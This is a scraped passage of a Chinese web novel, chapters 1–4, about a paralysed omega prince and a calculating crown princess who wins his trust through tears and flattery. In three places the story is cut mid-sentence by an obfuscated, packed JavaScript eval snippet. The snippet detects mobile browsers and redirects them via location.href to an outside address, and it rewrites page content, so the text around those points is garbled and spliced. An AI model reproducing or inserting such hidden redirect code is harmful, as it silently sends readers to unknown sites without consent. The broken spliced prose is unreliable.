《私藏病弱圣洁omega》 1. 第 1 章 “以诺亲王,赫柏公主传令,朝会后她会过来看您。” 以诺坐在轮椅上,皇宫一楼寝室的阳台,是整间屋子唯一能看到阳光的地方。高大的树木遮蔽了大部分天空,从树叶缝隙筛出来的冬日阳光轻薄、阴冷,打在他身上,在深色丝绸睡衣上泛起几丝粼光。 玉白的手放下书卷,以诺轻声呼唤:“推我回房吧。” 侍臣亚瑟推起轮椅,动作有些粗鲁,推过门槛时险些让以诺摔倒,尊贵的亲王殿下却只是咬牙忍过一阵痛楚,只轻声说一句“小心些”,并不苛责。 “亚瑟,请你取来白袍,为我更衣。” 以诺是一个老派的人,面见帝国的储君赫柏公主,一定要穿上传统的贵族礼服,纤尘不染的祭司白袍,让他看上去如同一樽清冷出尘的俊美神祗。 亚瑟把以诺的丝绸睡衣扔到床上,拉过被子盖住,想要立即离开满是病气的房间,以诺叫住他。 “可否帮我在香炉里,放一枚公主送来的檀香片,多谢。” 静谧的香气四处逸散,亚瑟重重合上盖子,生怕以诺还有什么吩咐,大步离开房间。 “赫柏公主,您来了!” 亚瑟欢快的声音在房间外响起。 赫柏对他说了几句话,语气亲昵,让他更加高兴。 以诺尽量在宽大的椅子上端正坐着,一手细细抚平膝上羊绒毯子的细微褶皱,转眼间赫柏已经步履带风地进来,笑意柔柔,瞬间驱散了房间里的寒意。 “亲王殿下,您近来一切都好么?夜里还会双腿犯疼睡不着么?” 赫柏公主刚参加完朝会,穿一身皇室仪制的正式礼服,缀着繁复珠花和刺绣的裙摆弯折,径直在他脚边跪下,仰起皓白颈项,无限尊敬地仰望他的脸。 以诺也以温柔慈爱的目光注视着她。 她有在好好长大。 丝绒礼帽之下,是一张桃心状的饱满脸庞,乌黑圆润的眼眸顾盼生辉。有一半的东方血统,面容比别的女alpha要柔和很多,红润菱唇总是微微上翘,无声传递着贵族青年深厚底蕴堆砌起来的亲切和顺,让人如沐春风。 依稀记得,十年前,他刚嫁入皇室,赫柏十分闹腾,总是跟在他身后,撒娇打滚哭闹,要他抱起来,活生生一个混世魔王。 十年来他只见过她几次,看着她像一株小竹子,抽条,成长,眉眼之间越发沉静,成为侍奉在皇帝身边的年轻储君,不显山不露水,只等有心人把目光移到她身上,才会触及一道美丽的风景。 以诺一直在关注她,欣喜于她的成长。 自从他受伤回到皇宫,只有她,三天两头便来探望,每次来时毕恭毕敬地在跪伏在他脚边,叫她不必跪了,她却不听,陪伴他接受了两次手术,嘘寒问暖,殷勤侍奉,是个尊敬长辈的好孩子。 以诺被淡淡的温情环绕着:“公主,我很好,有了公主送来的檀香,夜里也能安睡了,多谢公主挂心。” “可是我觉得,您身上的气息很冷,”赫柏的目光移向房间内漆黑的壁炉,皱了皱鼻子,关切地问:“这么冷的天,为什么不点燃壁炉呢?” 房门外,年轻侍臣的衣摆若隐若现,以诺面色平常:“我在军队里很多年了,不习惯用壁炉取暖,觉得闷——公主,你今日来见我,是遇到了什么难事么?” 赫柏点头,垂着眼犹疑了许久,似乎不想用杂事打扰他,但心中困惑实在难解。 “亲王殿下,我今天来,是有一事不解,想要向您请教,上一季度,您离开军队后,军费的开销增长了三倍,这是否合理?”想到面临的困难,年轻的储君面容苦恼,“您知道的,皇爷爷没有给我过多插手军政的权力,反而更信任辅政大臣尤利斯。” 以诺敛眸沉思片刻,回答:“这不合理,军费开销一切都有定数,三个月前那一场大战,要为每个伤亡的军人送上抚恤金,军队的武器也许需要重新置办,但无论如何,不会增长三倍。” “原来如此,谢谢您,为我解答疑惑,”赫柏的愁容没有减轻半分,“可是,我能怎么办呢,军队里到处都是尤利斯的人,政府军要采购一批新的军舰,尤利斯提议,把这件事交给埃利森参团的尼克去办,就是那个负面新闻缠身,没有任何底线的奸商,据我所知,内阁的其他成员,很可能会同意他的提案。” 以诺淡然:“如果公主,反对这个提案,就撰写一份反对理由的报告,呈送给陛下,在下次内阁会议时当众诵读,并投出反对票。” 他说的是内阁会议流程,所有内阁成员必须通读背诵。赫柏咬唇问道:“如果我把这个提案散布出去,让民间舆论给祖父施压,迫使他反对尤利斯的提案呢?” “不可。” 以诺的语调重了些,“不可,赫柏公主,伊丽莎白女皇在数百年前定下的规矩,为了避免民意裹挟政治,在内阁提案通过发布前,不许任何媒体进行报道,也不许内阁成员泄露相关信息。” 他完整背了一遍内阁的规训,公事公办的口吻。 小公主显而易见地受了些打击。 端端正正的跪姿有些歪倒,如果她是一株绿草,只怕叶子都是蔫蔫的了,以诺没有出言安慰,温和平静地看着她。 赫柏的神色几番变化,最终说服了自己,再次扬起微笑,“亲王殿下教训的对,我不能为了反对尤利斯,违反内阁成员的守则。”她认真地反省,“在我很小的时候,您就跟我说过,规矩和条理,是构筑皇室权威的基石,身为储君,最应该谨言慎行,以身作则。” 以诺深感欣慰,公主能在自己的规劝下走上正道。 她是个本性善良的好孩子,只是,从小失去父母,被皇帝视为不祥之人,对她放任自流,才让她在很小的时候,就学会了用顽劣的表现来引起旁人关注。 以诺望着赫柏强打精神,难掩低落的面色,给出另一个帮助的建议:“如果公主想要调查具体的军费开销,不妨去找财政部的霍索恩和佐伯,我对他们还算熟悉,都是本性正直的人,应当会配合公主的调查,我与他们有旧日交情,愿意为公主写一封举荐信。” “亲王殿下!谢谢您,愿意帮助我。” 赫柏的眼睛亮起来,直起腰身,甚至僭越地向前,握住他垂在膝上的手。 “公主,这不合适。”她的手温热,细腻,骨节分明,带着一丝侵略性扣住他的五指,以诺轻微的挣扎被压下,赫柏自顾自说:“您不知道,我虽然是储君,却步履维艰,皇爷爷从来不喜欢我,明里暗里联合那些心腹大臣,扶持他的私生子安帕,我是真的很害怕……” 以诺看着她在倾诉中委屈落泪,纯黑的瞳孔里溢出一颗颗泪珠子,浑身颤抖,不由心生怜惜。 她只是个害怕的孩子。储君之位暗流涌动,不知有多少人在背地里盼望着,她只是个任人摆布的傀儡,连她仅有的亲人,她的爷爷,也不曾站在她的身边。 这真的很难,以诺难免想起十年前的自己,心高气傲,不能接受被塞克抛弃的事实,毅然投入军队,也是这样,独自面临来自全世界的阻力。 以诺默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赫柏却像铁了心不让他自在:“可是他们都说,您是守不住的,您当初参军,就是不想在皇室守寡,说您在军队里十分放浪,虽然在战场上所向披靡,但下了战场,终究摆脱不了omega的本性,只要是长相俊秀点的alpha,谁都能做您的入幕之宾,和您共享鱼水之欢。他们说您虽然瘫痪了,却还有一张冠绝星际的脸,谁都会爱您的,他们说您在床上不能动,好在是omega,敞开双腿承受便是了。” 她的用词十分文雅,面容一片坦然,天真又残忍的说出粗俗的话语,以诺满心羞耻,更是愤怒,闭眼握拳,发了满背的热汗,“我没有做过,公主如果信了这些话,日后不必来我面前了。” 过了很久,赫柏带着哭腔的声音散逸在风中。 “对不起,我不该对您说这些话,我一点也不相信他们的话。” “我只是害怕,您会再次害怕离开皇宫,您走了十年,受了一身伤回来,我害怕,随便一个alpha来把您带走。” “我,不想您再离开……这皇宫里,除了您,没有人真心盼着我好,除了您我谁也不能相信。” 以诺终究心软,叫她起来,她摇头抽泣。 十年前他离开皇宫,登上军舰前,赫柏也是这样,不顾形象地坐在地上嚎啕大哭,说不许他走,怎么劝都不听。 他深深叹息,张开双臂,向做了错事却先哭制人的稚儿敞开怀抱。 “赫柏,过来。” 2. 第 2 章 赫柏哭得眼尾暗红,乖巧可怜地一个劲儿点头,深深拥抱以诺,嗅到他怀抱里清淡好闻的气息,双手收紧,在他的白袍上蹭了一道眼泪。 以诺像拥着一团被雨水打湿的小雀,在他怀里瑟瑟发抖,想到小时候的她,从心底里生出无限爱怜。 察觉以诺的双手抚过她的脊背和肩膀,赫柏咬紧牙关,声音有些变调,“亲王殿下,对不起,我再也不会说那些混账的话了,求您,原谅我。” “我不会怪你。” 以诺总是轻易地说出原谅的话,无论对谁,赫柏重重闭了闭眼。 她不舍得离开这个怀抱,太温暖了,这是她时隔多年第一次拥抱到以诺,感受独属于以诺的,蓬勃的心跳,她必须要很努力才能控制自己不要泄露出alpha信息素,不让他发觉异样。 离开和来时一样匆匆,只留下一句,“我会再来看您的,亲王殿下,请您保重身体。”不带半分留恋地潇洒转身。 侍臣亚瑟在以诺亲王房间外站岗,中途被一个很凶的仆人叫走,不情不愿地帮她把一块玻璃擦拭干净,回来时看见赫柏殿下离开的背影,赶忙追上去。 “殿下,请您等等,我有话想要对您说。”他出自一名贵族家庭,还是珍贵的omega,因为家里犯罪被连坐,充入皇室为奴,他受不了这样的生活,唯一的出路是攀上一位贵人,最好的选择,是赫柏殿下。 她虽然年轻,却很有能力,绝对不是傀儡储君,这些年如何一步步铲除异己,迫使皇帝松口让她进入内阁,从那些老家伙手上一点一点夺取权力,就连他这小小侍臣也能看得明白。 他到了赫柏殿下面前,看见她的满脸泪痕,心中慌乱。 “公主殿下,您是与亲王发生了争执么?” 赫柏公主总是亲和地笑着,让亚瑟觉得,她把他当成平等的朋友。她流泪微笑,“亚瑟,我没事,只是觉得以诺叔叔他太可怜了,小时候,他对我很好的,我也很尊敬他,看见他变成这样,我真的很难过。” 亚瑟迟疑地说:“殿下,我正想跟您说呢,皇帝陛下,似乎很不喜欢以诺亲王,您常常到这儿来,让陛下知道了,会不会不开心呀。” “你在说什么?”赫柏正义凛然,“以诺亲王是帝国的大英雄,爷爷怎么可能不喜欢他,你不要胡言乱语,败坏皇爷爷的名声。” “我知道了……”赫柏殿下一向是正直的,亚瑟后悔在她面前失言。 赫柏的脸色变得柔和,“作为朋友,你能不能答应我一件事,好好照顾以诺亲王?我知道,你不应该做低贱的侍臣,我会想办法把你调离这里的。”她的眼睛乌黑明亮,笑意之下暗藏着细微的压迫感,让亚瑟不自觉点了头。 “我会好好照顾亲王的。” 以诺不知道他们的对话,却发现那位年轻的侍臣回来时态度好了很多,往壁炉内添了柴火,给他送上热茶,他稍微想一想就能知道,赫柏提点过他。 “亚瑟,谢谢你。”他的声音被热茶浸润,更加温和。 亚瑟收拾房间的动作一顿,有些慌乱地折好被褥,“这是我分内之事。” “我知道,侍奉我这样的废人,是没有前途的,你心里对我有怨,我能理解,日后除了送一日三餐,你都不用在我面前待着,去做自己的事情吧,我自己可以的,如果内务大臣问起,我会帮你圆过去。”以诺真诚地建议。 亚瑟吃惊地看向以诺,想不通这个战场上厮杀到了上校军衔的omega,怎么会这么软弱,难道真像传闻说的那样,靠着裙带关系上位?他应该感谢他,却因为被看穿了心中的恶意而感到羞耻,避开他和善的目光,“嗯”了声转过头去。 半个月后莉莉丝的请帖送到以诺手上,邀请他一起去帝国最大的慈心福利院参加院庆活动,以诺同意了。 莉莉丝在福利院门前焦急等待,直到以诺出现前一刻,她都在害怕他不会来,选在福利院见面,是因为他一向善良,这福利院是他参军前捐赠了全部财产建造的,他应该会想要看一看办得如何。 谢天谢地,他出现了,西装革履,面色病态的苍白,精神气却还好,碧蓝的眼睛温润得像两潭清泉。 “以诺。”她迎上前,从侍臣手里接过他的轮椅,没留意以诺浅浅皱眉,开心地说:“我请院长给我们留了最好的位置。” 院长对莉莉丝躬身问候,对待最大的出资人以诺,却只敷衍地打了个招呼。 他们坐在第一排中间的位置,福利院无条件接收整个帝国的孤儿,这些孩子为院庆排演了节目,在台上唱唱跳跳,十分可爱,以诺专注地看着他们,双眼逐渐湿润,纤长的睫毛被眼泪打湿。 一颗眼泪顺着平整的脸庞流到清韧的脖颈,没入严丝合缝的衬衣领口里,也许会浸润他不见天日的,薄削美丽的锁骨。他总是一丝不苟地扣紧最上面那颗扣子,双袖的衣扣也是如此。 莉莉丝没心思看节目,频频望向以诺的侧脸。 那么庄重严肃的人,哭起来却那样美丽脆弱,别有风情,足以叫所有alpha神魂颠倒。 表演结束后,莉莉丝推着以诺在福利院内逛了逛,院长跟在他们身后点头哈腰。以诺湿润着眼睛,在树叶葱郁的庭院里拥抱排队来见他的孩子们,珍视地看着孩子送给他的简笔画,还有字迹歪歪扭扭的感谢信。 “院长,我这些年还有一些积蓄,想要全部捐给福利院。” 院长惊讶,以诺亲王参军后断了皇室的津贴,但他是上校军衔,积蓄一定客观,没想到他变成这样了,还愿意捐钱。 他立刻变了一副嘴脸,遵照以诺的意愿叫秘书起草了捐赠协议,点头哈腰地看着他翻阅纸张,骨节清秀的手握着钢笔在上面签字。 莉莉丝则着迷地看着以诺的手,他在上学时出于兴趣选修了综合格斗这门课程,只有他一个omega,却打败所有alpha拿到全a的成绩,毕业时以一次完美的战甲操作演示,引来军队特招办,询问他是否有兴趣作为特邀专家,指导建设机甲兵团。 他拒绝了,说这不是omega的工作,他马上就要嫁入皇室,会专心做一个贤夫良父。 可是后来他被塞克公主伤透了心,还是选择加入军队,想到这双手如何熟练地操作战机,在星际战场上穿行翱翔,让所有alpha望尘莫及,莉莉丝就感到骨子里的征服欲在沸腾。 莉莉丝陪着捐了十万星币,以诺对她仰头笑了笑,温柔得让她酥麻了半边身体。 “这么多年我每天都在后悔,当年没有坚持要娶你,如果你嫁给我,而不是塞克,就不会经历这么多波折了。”她在石椅上落座,和轮椅上的以诺齐平,直视他的脸。 以诺不再微笑,目光沉静如古井,就像十多年前,她向他表白的时候,他也是这样一副神情,说:“我对我的婚事没有任何意见,会听从家族的安排。”温柔地用钝刀子伤人。 莉莉丝再次被这种目光刺痛,想让他后悔,用愤怒的口吻说:“塞克公主,当年实在太过分,竟然那样对你,订婚当日,把那个低贱的小情人带到你们的婚房里,这件事闹得人尽皆知,你为了皇室的脸面选择忍耐,反而被她变本加厉的轻贱,好在老天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078898|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,在你们婚礼那天……” “莉莉丝。”以诺轻声打断,垂着眼,“我不想再说过去的事。” “好,那就不说,”莉莉丝蹲在轮椅旁边,不顾他的挣扎握住他的手,目光充满侵略性,“我还是想娶你,即便你跌进泥潭里,我也还是想娶你!这次我会很坚定地向父亲请求。” 以诺的手被女alpha抓住,腻了一层汗,十分不适,他罕见地露出厌恶的神情,莉莉丝却浑然未觉。 他说了重话:“我拒绝嫁给你,莉莉丝,我不会答应的。” “你拒绝?” 莉莉丝不能相信,“你都已经变成残废了,为什么还拒绝我?” 以诺坚定地抽回自己的手,冷声提醒:“莉莉丝,这与你无关。” “你是不是在军队里待久了,忘记了自己是个omega,你知不知道在你建立军功的时候,多少人恨你入骨,恨你离经叛道,不服管束,给所有omega起了个坏头,包括皇帝陛下,认为你损害了皇室的颜面,恨不得将你除之而后快,以诺,等媒体和大众都不再注意你,他们一定会疯狂地报复你,你需要活在alpha的保护之下。” 莉莉丝说着刺痛人心的话,以诺却只是目光微沉,抿唇仰首,留给她一张如玉的冷漠侧脸,没有如她所料崩溃、大哭,请求她的帮助。 “你为什么不答应我,还有别的人向你求爱吗?是谁?她比我更好吗?”她站起身上前,握住他的肩膀摇晃,想要他给出一点别的反应,不要这么冷落她。 “亲王阁下,是时候回皇宫了,到了赫柏殿下探视您的时间。”亚瑟本不想多管闲事,但莉莉丝小姐实在太过分,她没看到以诺亲王在咬牙忍痛,额头上冒出冷汗了么! 莉莉丝如梦初醒,退后两步,看着冷汗涔涔的以诺,不敢相信自己做了什么。 她跪在轮椅旁,扒着轮椅的扶手声音颤抖,“以诺,我不是故意的,我忘了你身受重伤,请你原谅我,可以吗?我再也不会做这样混账的事了。” 以诺轻轻点头,表示原谅,薄薄的眼皮垂着,不再看向她。 “我很累了,想回去休息。” “我送你回去。”说完不等那个年轻侍臣动作,抢先推动轮椅。莉莉丝望着以诺柔软的发丝,一阵后怕,自己怎么可以那样对他展露恶意!又恨他是个家世显赫的omega,如果他不想改嫁,她根本没办法强迫。 正午时分,来到福利院门口,先听见人声涌动,他们看见大街上有很多人在集会游行,高举“反对埃利森集团采购军舰”的牌子,情绪激动,大声抨击着埃利森集团的尼克是多么罄竹难书的奸商,辅政大臣尤利斯竟然要极为重要的军队事务交给他,这提案简直荒谬! 听到父亲尤利斯被这样攻击,莉莉丝的脸上过不去,匆匆推轮椅走向飞船。 “这些暴民真是越来越过分了,谁允许他们这样集合起来抨击父亲在内阁的提案!”莉莉丝抱怨,偷偷觑着以诺的脸色。 以诺一切如常,却在心中想到那个,在他怀里身体蜷缩,伤心哭泣的少女。 赫柏答应过,会按照内阁弹劾的程序反对尤利斯,可是,这提案还是泄露出去了,民意滔天,会是她做的吗? 刚坐上飞船,像是知道他的疑虑,通讯设备响起,来信者是赫柏。 “以诺亲王殿下,您外出一整个上午了,福利院庆典早该结束了吧,什么时候回来呀?” 女alpha的声音清晰地从手表传出,乍听起来毕恭毕敬,细听之下,带着熟稔的亲近,尾音上扬,很像在撒娇。 3. 第 3 章 莉莉丝竖起耳朵,听见以诺一贯的温柔疏离的回应“公主,我和莉莉丝小姐正在返程途中。”赫柏公主几秒钟后才给出答复:“这样呀,我会在城堡大门前等待您,您一回来,就能看见我。” 虽然不再撒娇,温柔软糯的嗓音,从赫柏公主的口中说出来,还是让莉莉丝起了一片鸡皮疙瘩。 莉莉丝在海关工作,知道几次异常的走私事件,牵扯出几个高级官员,她没有更高的权限了解事情全貌,只隐隐约约知道,似乎和赫柏有关,高层换血的结果最有利于这位小公主殿下。 她曾经在爸爸尤利斯的书房外听到他和几个同僚议事,说赫柏看着单纯磊落,乳臭未干,其实一肚子毒计,好几次不动声色让他们吃了闷亏。 她与赫柏公主的交集不多,在几次宴会上见过。她总是跟在长辈身边安静聆听,隐没在人群中,极少数时候发表意见,落落大方游刃有余,会让人突然惊觉,她已经是一位相当出色的年轻alpha,名正言顺的皇室储君。 “以诺,你离开首都很多年,赫柏殿下早就不是当年的一届孩童,她是成年女alpha,你应该和她保持些距离。” 以诺摇头,“你多虑了,赫柏公主是我关爱着的晚辈。” “即便是晚辈,你到底是寡夫……” 莉莉丝看以诺紧抿了嘴角,声音渐小到消失,不敢再劝。 回想刚才赫柏公主的那几句话,当真诡异,那丫头怎么会这么热络地对待她姑姑的遗孀?她到底在打什么鬼主意?难道,是想通过以诺把手伸到帝国军队里去? 但以诺的态度坚决,她只能咽下满腹疑问。 “莉莉丝小姐,辛苦您今天陪伴以诺亲王,参加福利院庆典。” 赫柏如她自己所说,在城堡门前等候,见到飞船降落,踩着长筒马靴恭敬地迎上前,她比莉莉丝高半个头,低眉顺目,作为晚辈礼貌问安。 明明表现得一切如常,莉莉丝看着她笑吟吟的脸,却莫名从脊背蹿过一股寒意。 “公主殿下不必客气。”她点头回应,对以诺说“请您再好好考虑我说的话”,匆忙告辞。 赫柏目送莉莉丝的飞船远去,挥退侍从,来到以诺身后亲手推动他的轮椅。 走过铺着大理石的花园长廊,绕过城堡前的漫长阶梯,来到侧边的林荫道上,空气冷冽,树木葱郁,几只早春的黄鹂在树梢啼叫,风景很好。 “亲王殿下,今天外出,玩得开心吗?”赫柏微微俯下身子,倾听男人的回答。 以诺想着回程时遇见的市民游行,心中存了疑惑,到底是不是赫柏泄露了内阁提案,回应带上几分不自在:“我很好。” “我以为庆典活动会在中午前结束,等了您两个小时呢。”赫柏亲昵地说。 她推他进入城堡后门,穿过铺着红毯、两侧墙壁挂着历任皇室先祖的长廊,来到可以容纳数百人的宴会厅。大门打开,空旷的宴会厅里只有一张长桌,白色蕾丝桌布,琳琅满目的食物,烛台烧剩半截。 长桌两侧尽头有两张椅子,赫柏把他扶上其中一张椅子,软软的枕头填塞了腰部和椅身之间的空隙,以诺坐的不吃力,饶是如此,挪动下肢的动作还是牵起了一丝疼痛。 赫柏注意到了,及时递过来一只热水袋,塞进腰后,缓解他的疼痛。 “您现在还疼么?” 她从上而下俯视他的脸,不放过他的任何细微的神情变化,在别的alpha做来非常冒犯的举动,因为她一脸孩子气,杏眼圆睁着,看起来只是在真情实感地担忧他的身体状况。 “我没事了,殿下。” 赫柏点点头,松了口气,却不去落座,充当侍女为他布菜,跪在椅边,双手端上一杯热牛奶:“我知道您快回来了,才叫侍女把这牛奶重新热一次,请您享用。” 她恭敬过头了,无限趋近于讨好,以诺把温度正好的牛奶捧入手心,暖意染上冰凉的手指,他舒服地叹息,“你不必这样跪拜侍奉,殿下,你是帝国的储君。” “我是储君,可我也是从小跟在您身后的赫柏呀,”赫柏固执地仰头望着他,五指掐紧座椅的木制雕花扶手。 她是个十分敏感的孩子,一定感知到了他的态度变化,以诺抿了口她送来的牛奶,温热的暖意顺着喉咙滑落腹中,游遍四肢百骸。 他主动提起:“我今天看见了市民游行,反对尤利斯的提案。” “是我做的。” 以诺没想到她这样轻易地承认了,凝望着她慢慢低垂的脸庞,“你不是答应了我,会按照内阁的流程行事吗?” “因为,我等不及了,您长久地在外打仗,不知道我在皇城,处境有多艰难,尤利斯和大商人尼克勾结着,他们的背后,是皇爷爷和他支持的私生子安帕,一旦他的提案成功,安帕会顺利得到军队的主导权,我不能看着这样的事情发生。”赫柏握紧双拳,凄惶的话音像一把刀子,剖开她内心最幽晦的部分,“皇爷爷不喜欢我,只要有机会,他一定会废了我,我只是想活着,只想自救。” 纯黑瞳孔里流下空洞的眼泪,无声哭泣的同时哽着脖颈深深呼吸,“您是一个非常正直的人,我知道自己做下这样的事,一定会让您心生厌恶,但是,”她频频咬唇,语调变得委屈,“我真的非常希望,您能陪我用完这顿饭,我期待了很多年。” “今天,是我的生日啊。” “赫柏……” 以诺用温热的指腹触碰女孩的脸,摸到一片湿润的眼泪。 赫柏把他的手按在脸上,像溺水的人抓紧一块浮木,眼泪流得更凶,“您只记得今天是福利院庆典,却不记得我的生日。” 以诺记得。 赫柏是他认识的第一个,不幸福的小孩。 他出生在帝国享誉盛名的斯宾塞家族,世世代代生活在远离城镇的庄园里,只有一个beta妹妹安妮塔,他们享有父母全部的爱。 所以年幼的赫柏让他自然而然地生出心疼。赫柏的母亲,是从遥远的东方帝国嫁过来的一位公主,在生育她时难产死去,她的父亲是皇帝最予以重望的儿子罗伊,听闻妻子难产而死的消息,罗伊正在与数百年的敌国加南尔帝国对战的战场上,悲痛欲绝,遇到袭击当场身亡,和十万士兵一起被敌军的炮火轰炸粉碎,尸骨全无。 赫柏公主在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078899|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出生的那天相继失去了母亲和父亲,皇帝安东尼奥把她视为不祥之人,多年不闻不问,在以诺之前,唯一对她好一点的人,只有塞克公主。 因为塞克和罗伊一母同胞,都是皇帝的发妻海娜的孩子,和赫柏是血脉相连的至亲,但塞克公主在十几岁时就搬离了城堡,想必不会对当时才几岁的赫柏有多少关心。 那天电闪雷鸣,中午的天色漆黑如夜,侍从报告赫柏殿下不见了,以诺找遍整个城堡,在一间杂物房里找到小小的赫柏殿下。她藏起一块早餐的小蛋糕,插上一根木棍作为蜡烛,在他打开门的一瞬,烛光照亮她稚嫩的脸上的斑斑泪痕。 赫柏公主的生日,是皇帝最爱的儿子罗伊的死忌,也是安琪亚帝国的国难日,注定了不能被提起。 当时的电视上循环播报着前几日的新闻,皇帝为他的私生子安帕隆重过了生日,所有媒体用了大篇幅的版面报道这件事,安帕只比赫柏公主大一岁,虽然不能被承认为皇室成员,但他和他的母亲凯莉夫人受尽陛下的宠爱,自然成了所有媒体追捧的对象。 以诺后来捐赠了一所福利院,负责人问他正式开业的日子选在哪天,他想到那天的赫柏,说“十二月九号吧”,负责人问他真的要选在这个日子吗,“这可是国难日”。 他私心里希望赫柏能走出来,以后的生日就算不能提起,也可以去福利院和孩子们一起参加庆典,希望这个死气沉沉,哀伤不已的日子,终有一日被新生的幸福和希望覆盖,他希望赫柏也能得到新生。 以诺回想起那一幕,他从那间逼仄、阴暗,散发着霉臭味的房子里把赫柏抱出来,一路风雨从没关严实的闯缝里洒进来,掀起薄纱窗帘,赫柏在他的臂弯里,小小的,轻轻的,像一只被雨打湿的小兽。 他永远会对赫柏心软。 “赫柏,生日快乐,我一直记得。”他从西服内衬口袋里拿出一个盒子,是军队中的黑科技,最新款袖珍弓弩,“送给你的礼物。” 赫柏双手接过弓弩,还是不停掉眼泪,脑子转不动了,不明白自己是否已经被原谅。 “好女孩儿,别哭。”以诺稍稍俯下身体,双手捧住她的脸,“相信你的爸爸妈妈,一直在天上注视着你,看见你你好好地长大了,他们一定会很开心。” 他的眼睛真的好温柔,碧蓝的眼睛像教堂流光溢彩的玻璃明窗,那么静谧、温暖,专注地看着她,眼睛里只有她,让她想要卸下所有伪装,所有算计,不顾一切地放声大哭,向他诉尽这些年的委屈和思念。 “那您,原谅,我,了吗?” “对我而言,你没做错任何事,不需要我来原谅,你只是做了在储君的位置上,最正确的事,我虽然不同意你的做法,但是,我理解你。” 赫柏怔然望着以诺,水生植物一样坚韧的少女,藤蔓全都柔和下来,仰面注视着他,眼睛鼻子都是红的,黑发黏在脸侧,满是执拗的稚气。 分明就是个小孩子,也许,她在皇室不得不早慧,心里却一直住着一个脆弱敏感的小孩。 以诺忍住把她拥进怀里哄慰的冲动,“好了,赫柏,生日要开开心心的,起来陪我用餐吧。” 4. 第 4 章 新年的夜晚,整个莱茵帝国陷入狂欢,从房间的阳台看出去,全程的焰火尽收眼底。 在以诺身边,总是冷清的,严肃的,和热闹无缘的,他为自己划定了一个清冷的结界,自从十三年前成了皇室寡夫,后来去了军营,一直如此。 他捧起一杯热茶,在袅袅的茶雾中看向跪在面前的赫柏。 “这样好的日子,为什么不和朋友一起去玩呢?” “亲王殿下,我现在,充满了生存危机,哪有心思出去玩呀,”赫柏笑了笑,“您知道的,皇爷爷迫于民意,否决了让埃利森集团插手军队的提案,但是,他也没有同意让我的人承办军舰。” 赫柏明晃晃地把“我想插手军队”这几个字刻在脑门上,即使深处灯影幽暗的房间,她骨子里的蓬勃野心却在招摇地发亮。 但是很神奇的,也许是她的气息太温润平和,没有寻常alpha的侵略性,这份外露的野心,并不使人反感。 “殿下,求您多告诉我一些军队的内部信息,什么都可以,只要是您认为可以说的,星网上没有公开的信息,请您都告诉我吧。”赫柏膝行上前,面容无比恳切。 “赫柏,你先起来吧。” 赫柏摇头,固执地跪着。 以诺叹气,缓缓开启被热茶浸润过的双唇,“军队的一切程序都是公开透明的,只是,每个部门都要执行相应的秘密任务,比如技术部门,会进行一些对敌窃听的工作,但是,有严令禁止窃听帝国平民的通讯信息……” 以诺的声音娓娓道来,赫柏专注地听着,不时点头。 大约是城堡的仆人们在放焰火,一朵烟花非常近,就盛开在窗台上,彻底照亮赫柏的脸,小公主咬唇沉眸思考,带着几分未脱的稚气,实在乖巧。 “如果你想知道埃利森集团的技术优势,据我所知,有一架来自埃利森集团的机甲军舰在几日前,送进了军营,我倒是可以带你去看看。”以诺说完这句话有点后悔,不太像一个威严的师长。 赫柏却不给他反悔的机会,骤然抬起亮晶晶的眼,“真的吗?这可真是太好了!” 以诺用目光格挡想要贴上他双腿的赫柏,“快起来吧,天寒地冻的,跪着不冷么。” “不冷啊,您这儿,是整个城堡最温暖的地方了。”赫柏终于站起来,叫人传菜,是非常丰盛的晚宴,以诺房间的小桌子都摆不下了,撤了两盘看着就油腻的烤羊排和酱猪肘,她打开电视,正在播放新年晚会。 先斩后奏做完这一切,她才小心翼翼地来到以诺面前,“今天可是新年,您可以陪我一起过吗?” 以诺摇头:“赫柏,这不合规矩。” 无论身为储君,还是成年女alpha,她都不应该擅自在长辈和异性房间里传膳。 赫柏皱起双眉,几乎瞬间落泪,“可是,我真的不知道应该去哪里,皇爷爷因为埃利森集团的事,非常不待见我,我也请人向他告了假,不去参加新年晚宴,今天晚上,我没有别的亲人可以一起度过了,连您也不愿意……” 她的脸颊紧贴座椅扶手,挤出一块软肉,嘟着嘴,垂眼抽泣,委屈巴巴地说:“您是我唯一的亲人了呀,我真的好可怜,这样好的日子,别人都有亲人朋友,陪伴在身边,只有我这样凄惨。” 以诺的视线里只能看见一个圆黑的头顶,以及赫柏一耸一耸的肩膀,可怜得像被主人抛弃的小狗。他松口:“起来吧,今天是节日,我没说不能破例。” 赫柏破涕为笑,用袖子擦掉眼泪,立即去桌边舀汤,“这是我给厨娘塞了钱,让她用上很多珍贵的药材熬制的,您一定要尝上一碗。” 以诺因为这戏剧化的转变有点想笑。 